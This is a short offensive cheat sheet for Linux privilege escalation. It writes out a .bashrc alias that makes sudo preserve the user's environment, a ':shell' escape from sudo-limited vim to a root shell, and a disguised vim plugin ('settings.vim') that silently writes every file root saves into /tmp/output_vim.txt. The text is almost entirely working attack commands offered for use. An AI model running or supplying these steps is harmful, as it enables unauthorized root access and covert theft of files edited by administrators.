This only works for Ubuntu and RHEL flavored distros, Debian uses a root users VIM configuration.
echo 'alias sudo="sudo -E"' >> .bashrc ## This tells sudo to preserve the enviromnment
## If a user has sudo permissions limited to vim it's possible priv esc to root.
sudo vim file_I_Have_Sudo_access_To.txt
:shell
## Copy any file they modify with VIM using elevated privs
mkdir -p ~/.vim/plugin
vi ~/.vim/plugin/settings.vim
:if $USER == "root"
:autocmd BufWritePost * :silent :w! >> /tmp/output_vim.txt
:endif ## save the file.
